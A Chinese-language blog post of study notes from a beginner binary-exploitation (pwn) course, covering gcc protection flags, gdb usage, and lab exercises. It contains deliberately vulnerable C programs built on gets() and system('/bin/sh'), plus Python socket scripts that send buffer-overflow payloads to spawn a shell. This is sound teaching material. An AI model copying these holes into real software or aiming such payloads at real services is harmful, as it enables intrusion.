HowMuch_YouWant2Pwn-1

描述

b站pwn启蒙元老级师傅国资社畜 《你想有多pwn》学习记录与补充

0x00 前言

qaq真的很感谢这个up主提供的pwn入门课程,对pwn新手真的特别友好,学pwn必备!感觉看了一部分《程序员的自我修养》和这个课,可以说打通了一小部分pwn的任督二脉了,总之算是学pwn的一个很好开头,希望今后的学习也能保持这种状态!

0x01 打pwn需要准备的武器库

2024-07-25-15-46-01

0x02 副武器

  • file 程序名:可查看文件类型以及一些大致信息
  • readelf -a 程序名:查看elf文件所有节、符号表等信息
  • hexdump 程序名:把指令数据等用十六进制表示出来
  • ldd 程序名:可以查看库函数所在库的位置
  • objdump -d 程序名:输出反汇编后的汇编指令 (默认是采用att语法格式输出,如果要intel格式可以-M intel)
  • checksec 程序名:检查程序开启的保护选项

上面的之所以是副武器,因为实际上并不算经常用或者用的不多。

0x03 gcc的基本使用

常用编译参数

(1)-o参数: gcc xx.c -o 程序名【直接编译成程序】 可以发现直接编译后所有的保护都已开启: 2024-07-30-16-58-58

(2)-S参数: gcc -S xx.c 【编译成汇编代码(注意这里和objdump反汇编出来的还是有点差别的,这个是程序对应的真正的汇编代码)】 两者的区别如下: 2024-07-30-17-34-01 可以发现前者显示结果更加简洁,并且几乎只有汇编指令,也不像后者还有包含.plt等其他elf程序节中的细节信息 2024-07-30-17-53-35

(3)-m32参数: 将程序用x86指令集编译成32位程序,但是要注意得提前安装好相应的库:

1
sudo apt-get install gcc-multilib g++-multilib module-assistant

(4)-O参数: 关于gcc的-O选项,有对应的等级,默认是1,意思是编译时优化的级别,比如课程中的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int func(char *cmd){
system(cmd);
return 0;
}

int main(){
char a[8] = {};
char b[8] = {};
//char a[1] = {'b'};
puts("input:");
gets(a);
printf(a);
if(b[0]=='a'){
func(sh);
}
return 0;
}

观察源码会发现这里的if体中不可能执行,因为一开始都没有为b[0]赋值,但是编译时如果采取默认的优化级别,编译器会本着实事求是的原则,既然写了,就让该部分被编译,所以我们最终能实现缓冲区溢出获取shell,但是如果编译时优化级别设置较高,比如-O3,那么编译器会认为其不可能执行,所以不将该部分编译,我们就获取不到shell,也就是不可能执行func(sh)

(5)-static参数: gcc加参数-static即可静态编译,静态编译后的程序明显比默认用动态编译的程序占用空间大: 2024-07-31-09-54-17

发现当检查保护的时候,同样都是默认编译的64位程序,静态程序则默认没有开启PIE: 2024-07-31-09-19-13 查看文件时也存在些差异: 2024-07-31-09-21-26 注意到静态程序是叫executable,动态程序是叫shared object,发现既有标明静/动态链接,动态链接程序还标出了依赖外部的动态共享库文件/lib64/ld-linux-x86-64.so.2,而前者没有,因为静态链接可执行文件已包含了所有必需的库文件,不需要依赖外部的共享库

而且当查看两者的汇编指令时也能发现: 静态程序是: 2024-07-31-10-08-03 而动态程序是: 2024-07-31-10-09-06 发现汇编代码几乎是一样的,只是偏移位置不一样,还有call调用函数时,动态链接程序是xxx@plt,即得从plt表中寻找,因为前面提到过动态链接程序要依赖外部共享库

(6)-fno-omit-frame-pointer参数: 对解题的方法没啥区别,只是汇编指令部分发生了些变化。观察会发现原来基本都是以rbp/ebp为基准来计算、赋值的,加了该参数后,有些地方就可能以rsp/esp为基准。 同样还是以64位程序为例,只加该编译参数。

chatgpt对该参数的解释: 通过使用该选项,编译器将禁用帧指针的省略优化,确保帧指针在编译后的二进制文件中保留,例如,在进行调试或进行栈回溯(stack backtrace)时,帧指针可以提供更好的调试信息,帮助开发人员跟踪函数调用链和定位问题。

(7)-no-pie参数 效果看下面的实验。

0x04 主武器gdb

修改gdb默认反汇编显示格式

设置默认以intel格式输出反汇编代码:

1
vim ~/.gdbinit

最上面加上:

1
set disassembly-flavor intel

常用指令

gdb 程序名 【加载程序】 si 【步入】 ni 【步过】 finish 【步出】 start 【开始运行到程序入口点(注意是由gcc内部机制判断出来的,不一定完全准确,所以有些情况需要自己手动判断)】 i r 【这里是缩写,下文同理,查看当前所有用到的寄存器状态】 disassemble $rip 【反编译当前rip所在的指令上下文】

打印相关:

p $寄存器【打印寄存器中存的值(有时候还能用来计算寄存器的偏移地址,比如p $rbp-0x10)】 p &函数名 【打印符号表中存在的某个函数地址】

断点相关:

b *地址【设置断点】 i b【查看所有设置的断点】 d 断点对应的序号 【删除指定断点(但是在实际运用中,一般不采用删除断点,而是让其失效,万一下次还要用到)】 disable b 断点对应的序号 【让指定断点失效】 enable b 断点对应的序号 【让已失效断点重新激活】 c(continue) 【运行到下一个断点为止】

内存相关重要指令

x指令:

x/20i 地址或$rip 【以汇编代码格式显示从该地址开始的20条内存单元中的数据】 (下面如果想要数据输出格式为十六进制,可以再加个x,如gx) x/20b 地址或$rip 【以每1byte十进制格式显示从该地址开始的20条内存单元中的数据】 x/20g 地址或$rip 【以每8byte十进制格式显示从该地址开始的20条内存单元中的数据】 x/20s 地址或$rip 【以字符串格式…】

set指令:

set *地址=值 【将某个地址中的值设置为我们想要的值】

如果要设置寄存器中的值呢? 注意要强制转换一下先,如: set *((unsigned int)$ebp)=0x18

vmmap指令:

用于显示当前线程的内存映射信息,通过查看内存映射信息,可以了解程序的内存布局,包括代码段、数据段、堆、栈以及共享库等的位置和属性。

0x05 汇编指令补充辨析

小背景:由于现在版本的编译器比起以前越来越智能,实际上很多指令在编译器编译时都很少用到了,一般都会做优化处理,而且时代变了,寄存器也不再像从前那样细分若干个并几乎各司其职,很多寄存器实际上编译时也用不到了,除了少部分寄存器几乎只履行自己职责外,如bp和sp类型寄存器一般用于栈操作、ip类型寄存器用于指向当前指令位置,大部分的很多寄存器其实都可以身兼多职。总之,ip类寄存器是老大,最重要的,bp类是老二,sp类是老三,因为内存离不开栈,栈需要bp和sp工作,剩余其他寄存器现在几乎都没啥区别了,也不是特别重要。

“已忘初心“lea指令

现在的编译器一般不用lea作为载入地址了(但是如果不加方括号的情况下是作为该原用途),一般用于计算, 比如 lea rax,[rbp-0x18] 【把rbp地址减去0x18后的地址给rax】

那么为什么不用

1
2
sub rbp,0x18
mov rax,rbp

因为这是编译器为了提高效率优化的方式,它占用的指令长度也更短。而且这种方式还不需要改变rbp的值就可以实现

异或指令xor

一般用于将寄存器的值归零,如xor eax,eax

cmp和sub

两个都是减,只是相减后的结果处理不同,cmp对相减后的结果不进行赋值存储,仅用于作判断,和条件跳转指令搭配着用,其实c语言中只要包含cmp的函数都是这个原理

test和and

and eax,eax test eax,eax -> eax&eax, eax=0则结果为0;eax!=0则结果为!0

与sub和cmp的区别同理,test和and指令差不多,只是test只用于比较最后不赋值,而and赋值。 另外,这里的test eax,eax其实就相当于cmp eax,0,只是编译器为了优化而选用test而已。

move带单位PTR

move eax,BYTE PTR [rbp-0x10],其中PTR代表指针, 意思是把[rbp-0x10]地址的值中取1个BYTE即8位给eax寄存器。

常见的单位还有:

1
2
WORD    DWORD    QWORD
16位 32位 64位

0x06 cpu和寄存器和(虚拟)内存之间的关系

在传递数据时,cpu会优先从寄存器中取值,但是寄存器数量有限,如果定义的变量数目远超过寄存器数量,那么多余的变量会先存储在虚拟内存空间中,当需要时再和寄存器做交互传递值。比如上面的[rbp-0x10]就是从虚拟内存地址中找到然后传值的,然后像push就是把暂时用不到的先放到虚拟内存中。

0x07 pwn题常见函数

strcmp

这个函数常用于做字符串比较,实际看反汇编代码过程中其实当成cmp去识别就好了

0x08 pwn题远程部署

常用的部署命令:

1
socat tcp-l:端口,fork exec:./程序名,reuseaddr

0x09 用python脚本打pwn的原因

因为有些时候比如题目中的比较字符是一个不可打印字符,如0x10,虽然我们在gdb调试中可以试着将虚拟内存中对应的数据改成0x10从而getshell,但是在shell中运行程序时是输入不了像0x10这样的不可打印字符的,如果我们输入它,会被当成字符串,也就是会把0x10拆分着看,而不是将其当作一个整体,所以这时候要用到python脚本中已有的模块来实现

打pwn简单python脚本模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
import telnetlib
import struct

def P32(val):
return struct.pack("", val)

def pwn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("xxx.xxx.xxx.xxx", 7777))
payload = 'A'*8 + '/x10'
s.sendall(payload + 'n')
t = telnetlib.Telnet()
t.sock = s
t.interact()

if __name__ == "__main__":
pwn()

//该脚本实际上就是模拟我们nc连接远程服务器,然后输入8个A拼接上不可见字符0x10来getshell而已。并且当然实际上常用的不是这么写的,会用到pwntools等模块,比上面的简洁方便很多

0x10 简单缓冲区溢出入门小实验

实验前提!!!

gcc版本都是在9.3~9.4的,并且在ubuntu20.04环境编译,部分题要在其他系统利用记得要带上相应的动态链接库.so文件

比较单字符型缓冲区溢出

demo位置:/chapter_1/test_1/question_1_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//默认编译参数, x64程序
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int func(char *cmd){
system(cmd);
return 0;
}

int main(){
char a[8] = {};
char b[8] = {};
//char a[1] = {'b'};
puts("input:");
gets(a);
printf(a);
if(b[0]=='a'){
func(sh);
}
return 0;
}

简单代码审计分析:

1
刚开始定义的init_func()实际上就是定义一些文件流缓冲区相关的模式,初始化程序的输入输出流,使得输入和输出可以立即生效,而不需要等待缓冲区条件满足,简单了解就行不重要;下面主要就是分别定义两个数组,其中获取到的用户输入传给a,然后比较b[0]是否和用户输入相等,相等则执行func函数即获得一个shell,但注意实际上这里的b数组没有被初始化,所以理论上来看实际上永远不会被执行,但是如果编译选项为-O高等级,那么就会自动被忽略编译该部分,因此就无法成功利用缓冲区溢出。这里能够缓冲区溢出主要是因为用`gets`来获取用户输入,这个函数不安全,无法检查输入缓冲区的大小,理论上可以输入无数个字符,直到我们按回车,即转义成换行符/n被程序识别到为止,所以存在缓冲区溢出的风险,溢出的即多余该a[8]的那部分会跑到b[8]中从而覆盖,因此从攻击者角度而言,可使这部分操作是可控的,比如这时溢出的值是'a'且刚好在b[0]位置,从而就拿到shell了。接下来就可以利用gdb动态调试下去分析里面的细节来验证是否可利用,毕竟俗话说"遇事不决,动态调试^-^"

我们刚拿到程序时首先要直到它都做了啥,所以第一步先运行程序: 2024-07-31-15-21-50 显然就是获取我们的输入然后再输出而已。

然后开始调试,首先gdb加载程序进行简单的反汇编代码分析后,在如下位置设一个断点(设完断点下次重新运行时就可以快速run到该位置,而不需要反复地ni再寻找): 2024-07-31-15-35-22 因为后面的cmp al,0x61就是决定是否跳转的关键(因为它就是源代码if条件中的底层判断实现),如果跳转了那就和我们的shell说拜拜了,所以我们可以在该断点处(也就是gets这个不安全输入)执行之前进行修改内存中的值从而实现绕过,假设一开始我们也不知道源码即纯黑盒测试的情况,那么我们肯定也不知道具体要输入多少个字符来实现溢出,在哪个位置放我们的溢出字符,还无法精准利用,所以刚开始的思路就是随便输入多一些字符,看它们在内存中的什么位置,注意这里的内存指的是虚拟内存空间。这里我们就随便输入hhhhhhhhhhhhhh,然后我们注意到在cmp al,0x61前的指令movzx eax, byte ptr [rbp - 0x10],把地址[rbp - 0x10]中的值给eax,而cmp的比较中al又包含在eax中,两者是有关联的!(所以这个地方也可以下一个断点)。显然此时我们肯定得先看看[rbp - 0x10]中都存的是啥,即它的虚拟内存空间情况: 2024-07-31-16-07-39

注意如果是用g格式来输出的话,要注意大小端序的问题,内存中一般用的是小端序 2024-07-31-16-14-26 对比该处反汇编指令movzx eax, byte ptr [rbp - 0x10],可以发现这里只是把[rbp - 0x10]即地址0x7fffffffe350位置存的第一个字节0x68(即输入中的h)

2024-07-31-16-15-21 【来自于ascii码表的比对】

给寄存器rax的最低位al而已,从这也能发现我们实际上只要输入8个任意字符加上溢出字符a(其对应的ascii码十六进制正好是0x61)即可: 2024-07-31-16-25-12 所以如果此时就可以通过修改内存,把地址0x7fffffffe370处的这个溢出字符0x68改成0x61,后续就能实现不跳转从而getshell了: 2024-07-31-16-27-13 然后步过到下一条指令,检查一下rax是不是确实也变成了0x61: 2024-07-31-16-28-18 然后一直步过发现确实就能执行到func从而getshell了: 2024-07-31-16-29-57 最后再运行程序利用一下: 2024-07-31-16-30-44

延伸实验:

(1)编译时加上-fno-omit-frame-pointer参数: demo位置:/chapter_1/test_3/question_1_x64_rsp 源码一样,打法也一样,这里主要看加该参数后动态调试时有什么变化: 2024-07-31-16-50-34 可以发现原本是以rbp来作为计算的基准了,现在都变成了rsp,也就是编译时默认优化rsp被取消了

(2)编译时加上-O3参数: demo位置:/chapter_1/test_3/question_1_x64_O3 对比发现加了O3优化之后就打不通了: 2024-07-31-16-53-09

(3)编译时加上-no-pie参数: demo位置:/chapter_1/test_4/question_1_x64_nopie

源码一样,打法也一样,看看变化: 2024-07-31-16-58-36 可以发现这里所有地址偏移都变成了以0x40开头和原来不同了,然后我们来对比一下运行时(即此时动态调试中通过gdb实现的反汇编代码)和编译时(即真正的汇编代码),以此处的gets函数的地址为例:

可以用objdump:

(可是objdump好像也是通过反汇编?那这里用objdump作对比ok吗?难道不应该直接编译成汇编代码来对比吗?不对,可是这样就看不到地址了。。踩个坑)

(–来填坑啦-通过和chatgpt的讨论,搞明白了: file

所以这里是对比加了-no-pie编译后,程序运行前后反汇编代码的变化 因此可以通过这种方式比较: file file 发现两者地址是一样的,这就是开了-no-pie后的效果,再看一下默认有pie编译后的(即最初的程序): file file 很明显不同了

比较字符串型缓冲区溢出

demo位置:/chapter_1/test_5/question_2_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//默认编译参数,x64程序
char sh[]="/bin/sh";

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int func(char *cmd){
system(cmd);
return 0;
}

int main(){
init_func();
char a[8] = {};
char b[8] = {};
puts("input:");
gets(a);
printf(a);
if(!strcmp(b,"deadbeef")){
func(sh);
}
return 0;
}

简单代码审计分析:

1
这个程序和上一个程序是差不多的,只是后面判断逻辑改了一下,最后是通过判断溢出位置是否为字符串"deadbeef",是则getshell。所以和上一个程序的打法也一样的,只是输入变成cvestonedeadbeef

2024-07-31-17-10-59 调试过程也大同小异,这里就省略了。

python脚本打pwn小试牛刀

demo位置:/chapter_1/test_6/question_1_plus_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//编译要加-no-pie,x64程序
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int func(char *cmd){
system(cmd);
return 0;
}

int main(){
char a[8] = {};
char b[8] = {};
//char a[1] = {'b'};
puts("input:");
gets(a);
printf(a);
if(b[0]==0x10){
func(sh);
}
return 0;
}

简单代码审计分析:

1
同样和第一个实验的程序差不多,只是最后的判断中由可打印字符'a'变成不可打印字符'0x10',打法依旧差不多,只不过此时必须通过python来实现,模拟我们的利用过程。这里调试思路依旧一样,故略,和前面的差别就在于调试中也能通过修改内存中溢出位为0x10来getshell,但是在运行程序利用时没法输入0x10来作为一个整体。

刚好这里就很贴近于实际打pwn的情况,为了模拟,我们把这个题目部署到远程云服务器的ubuntu20.04打一下,使用的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
import socket
import telnetlib
import struct

# P32函数用于将一个整数值打包成小端序的4个字节表示形式。
# 注意:这里的struct.pack()中可以加上格式化字符串参数,例如 "<I" 表示无符号整数的小端序。
def P32(val):
return struct.pack("<I", val) # 使用正确的格式化字符串

def pwn():
# 创建一个TCP/IP套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接到目标服务器的指定IP地址和端口
s.connect(("ip", port))

# 构造payload,其中包含一个8个'A'字符组成的填充以及一个额外的字节'\x10'
# 在Python3中,为了确保payload是字节序列,我们使用前缀'b'来创建字节字符串。
payload = b'A' * 8 + b'\x10'

# 发送payload到服务器,后跟一个换行符以触发某些服务的处理逻辑。
# 换行符也必须是字节类型,所以我们也给它加上'b'前缀。
s.sendall(payload + b'\n')

# 创建Telnet对象并将其套接字属性设置为我们的连接s,
# 这样telnetlib就可以接管这个连接进行交互式会话。
t = telnetlib.Telnet()
t.sock = s

# 开启交互模式,让telnetlib处理用户输入和从套接字接收的数据。
t.interact()

if __name__ == "__main__":
'''
下面的命令用于在本地创建一个socat监听器,
它将会转发来自特定端口的所有连接到一个可执行文件:
socat tcp-l:port,fork exec:./question_1_plus_x64,reuseaddr
'''
pwn()

然后自行测试是否能打通。

注意其中的b'',在Python3中,字符串和字节是明确区分的两种不同类型的对象。当使用socket.sendall()方法发送数据时,它期望的是字节类型的数据,而不是字符串。在Python2中,字符串和字节之间的区别不那么严格,因此同样的代码在Python2中可能不会报错。所以上述脚本用py2和py3都能打通。

python脚本打pwn控制函数地址

demo位置:/chapter_1/test_7/question_3_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//编译要加-no-pie,x64程序
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int func(char *cmd){
system(sh);
return 0;
}

int main(){
init_func();
volatile int (*fp)();
fp=0;
int a;
//char a[4] = {};
//char b[0x10] = {};
puts("input:");
gets(&a);
//printf(&a);
if(fp){
fp();
}
return 0;
}

简单代码审计分析:

1
这个程序就和之前的很不同了,很有意思,这里并没有定义俩数组a[]和b[],也就是说我们似乎没有可以利用缓冲区溢出的位置?实际不然,这里还有一个关键的指针fp,并且还是用gets()函数来接收我们的输入,所以还是存在缓冲区溢出风险,并且还可注意到是把我们的输入作为一个地址来接收了,这就是关键!至于这里为什么要定义一个fp,假设我们看不懂这段c代码,没关系,动态调试看看暗藏了哪些玄机。

调试分析后发现这两行指令比较关键: 2024-08-01-16-55-25 仔细观察,整个反汇编代码结构其实和上面的程序很像。这里的mov主要是将地址[rbp-0x10]开始的8个字节都给rdx寄存器,这里出现的call rdx就很有意思,因为之前常见的都是call某个函数,我们可以稍微了解一下rdx一般用来干嘛的: 2024-08-01-17-02-48 了解到,原来rdx还可以用来存储函数地址然后间接调用,这刚好也就是解出这道题目的核心了,因为这里的地址最初是来源于我们的输入内容的一部分,换句话说,这里间接调用的call的函数地址是可控的!好家伙,还能这么玩。所以我们同样在执行这条汇编指令之前尝试修改[rbp-0x10]内存中的数据,在这之前先随便输入:hhhhhhhhhhhhhh,同样通过查看[rbp-0x10]对应的虚拟内存,来跟踪到我们的输入: 2024-08-01-17-08-58 和之前同理,修改该位置,那修改成什么好呢?

前面都是直接修改成某个字符或者字符串对应的ascii码十六进制,上面又讲到地址可控,我们最终目的是getshell,自然而然想到那就让它调用func函数!

先看看func的地址然后改内存,同时我们修改后要注意大小端序问题,然后由最后指向的地址来判断我们修改的是否正确: 2024-08-01-17-12-30 从结果来看,我们前面set执行完变成了确实变成了小端序的方式存储,直接ni到call rdx,再验证下: 2024-08-01-17-17-28 发现该地址确实是我们想要的顺序,说明确实没有搞错。

修改内存的限制问题

但很奇怪,发现只修改成功了一半,为什么呢?把疑惑告诉了chatgpt: 2024-08-01-17-26-26 发现这个地址也确实是可以被0x8整除的: 2024-08-01-17-27-58 也就是说我们需要再将其填充成八个字节才能满足对齐,即0x000000000040121f,才能成功覆盖,但是构造的set指令就稍微会复杂点,也就是要加入强制转换:set *(long long*)0x7fffffffe340=0x000000000040121f,那为什么要这样写? 2024-08-01-17-33-54 然后发现确实修改成功了: 2024-08-01-17-31-00 再继续ni到call rdx然后直到程序结束: 2024-08-01-17-46-19 2024-08-01-17-47-20 还可以不强制转换,修改完前面四个字节后再试着用0x0来填充后四个字节: 2024-08-01-17-51-24 成功! 2024-08-01-17-52-29

由于前面只是在gdb动态调试过程中在本地强制修改内存值,但显然打的时候要用python脚本打,可以用前面的模板做尝试,唯一要改变的地方就是payload的值:

1
2
3
4
。。。
//注意这里的大小端序问题
payload = 'A'*0x4 + 'x1fx12x40'
。。。

这里的偏移是0x4的原因在于,因为刚刚从我们第一个的输入h对应的十六进制ascii码0x68到溢出位是4个字节的距离。 但是上面的模板只能打远程,并且不知道什么原因部署远程的时候打的有问题,就直接另写脚本打通本地的pwn了: 2024-08-01-18-13-37